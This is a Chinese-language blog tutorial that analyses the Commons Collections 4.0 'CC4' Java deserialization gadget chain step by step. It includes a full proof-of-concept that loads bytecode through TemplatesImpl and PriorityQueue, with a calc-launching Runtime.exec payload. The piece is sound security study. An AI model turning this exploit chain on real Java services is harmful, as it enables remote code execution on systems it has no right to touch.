背景
在commons collections4.0版本之后,InvokerTransformer
不再实现Serializable
,导致CC1和CC3没办法再利用,本篇CC4利用链是采用CC3执行命令的方法-动态加载字节码,而头部也会采用一个新的类利用。
导入依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
CC4链分析
CC4链子执行命令的方式和CC3相同,都是通过加载字节码的方式,因此该链的后半部分拿着CC3的poc用就行了。
这里代码就不做解读了,详情可以看我之前的动态加载解码、CC3部分
先把CC3其中加载字节码的的代码部分拿出来,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class CC4Test { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); final Transformer[] transformers = {new ConstantTransformer(TrAXFilter.class), instantiateTransformer}; Transformer chainedTransformer = new ChainedTransformer(transformers);
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } }
|
生成字节码部分,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TemplatesImplTest extends AbstractTranslet { public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} public TemplatesImplTest() throws IOException { super(); Runtime.getRuntime().exec("calc"); } }
|
先把我之前CC3的流程图拿过来看一下

此时,我们已经把通过加载字节码执行命令的代码写了出来,现在我们就需要找到一个能够调用transform()
方法的类了
还是老样子,右键查找用法

其中在TransformingComparator#compare()
方法中看到调用了transform()
方法

跟进TransformingComparator#compare()
看一下

链首PriorityQueue
TransformingComparator
这个类没有可用的readobject()
方法,因此继续往前找,可以找到PriorityQueue#siftDownUsingComparator()
方法调用了compare()
,如下图:

同时发现此类存在readobject()
方法,跟进看一下,找一下它们的关联方式
看到readobject()
方法存在heapity()
方法

继续跟进heapity()

跟进siftDown

看到siftDownUsingComparator()
方法,这样就闭合了,这算是能够自动调用siftDownUsingComparator()
方法了,不用管太多,只是跟进一下看看readobject方法是怎么调用到siftDownUsingComparator
的。
根据上方分析先完善一下POC如下:
半成品POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class CC4Test { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); serialize(priorityQueue); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
两个问题
此时我们的POC还没完成,直接利用还是无法利用,还需要解决两个问题。
第一个问题
我们在调试过程中,发现此时的size值为0,这样就会直接跳过for循环,从而反序列化直接结束,我们需要更改它的值。
size就是PriorityQueue
这个队列的长度可以理解为数组的长度

选中size>>>1并右键选择计算表达式

可以看到结果为0,现在需要更改size的值,等于以就可以进入for循环。

把size改为2即可。

因此需要添加两个数,将数组长度增加到2,代码如下:
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
直接添加即可
第二个问题
第二个问题就是第一个问题引发出来的,因为priorityQueue.add(1)
在添加过程
中,就会触发compare()方法,导致利用链生成。
可以跟进看一下是怎么触发的
跟进add()

跟进offer()

跟进siftUp

跟进siftDownUsingComparator
,看出触发compare()

因此需要把之前的chainedTransformer
给替换掉,放到add
方法后,这样就可以防止提前触发利用链
替换前
1
| TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
|
替换后
随便替换一个
1
| TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
|
等add()完之后就可以通过反射将它的值在更改回来,如下为反射修改:
1 2 3 4
| Class c =transformingComparator.getClass(); Field transformingField= c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator,chainedTransformer);
|
最终POC
把上面提到的合并一下poc就完整了。
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public class CC4Test { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c =transformingComparator.getClass(); Field transformingField= c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator,chainedTransformer);
unserialize("2.bin"); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
注意事项
这些代码我在CC3中已经分析过了,详情可以到CC3文章看,我这里再简单说一下,以便理解。
1 2
| Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
第一行是创建了一个Transformer数组,并加入new ConstantTransformer(TrAXFilter.class)
和instantiateTransformer
两个值。ConstantTransformer
也已经介绍过了,不管ConstantTransformer.transform()
传入什么都会返回TrAXFilter.class
,以便绕过参数不可控问题。
同时instantiateTransformer#transform()
可以获取传入类的构造方法并实例化。
第二行是把该数组加入到ChainedTransformer
中,ChainedTransformer.transform()
它会把第一个传入值的结果,当作第二个值得参数传入。简单来说,就是把第一行的TrAXFilter.class
当作参数传入instantiateTransformer
类。
流程图
CC4

总流程图

总结
那如果有人有疑惑,既然是用的CC3的执行命令的方法,为什么CC3不用这两个头部类,原因其实就是CC3的commons collections3.2.1版本TransformingComparator类没有继承Serializable接口,而commons collections4继承了,所以CC4能用这个类
commons collections4

commons collections3.2.1

前面的链子理解之后,CC4以及后面的链子都很好理解且简单了,该链只是在CC3的基础上增加了两个类,算是换了个能调用transform()的类。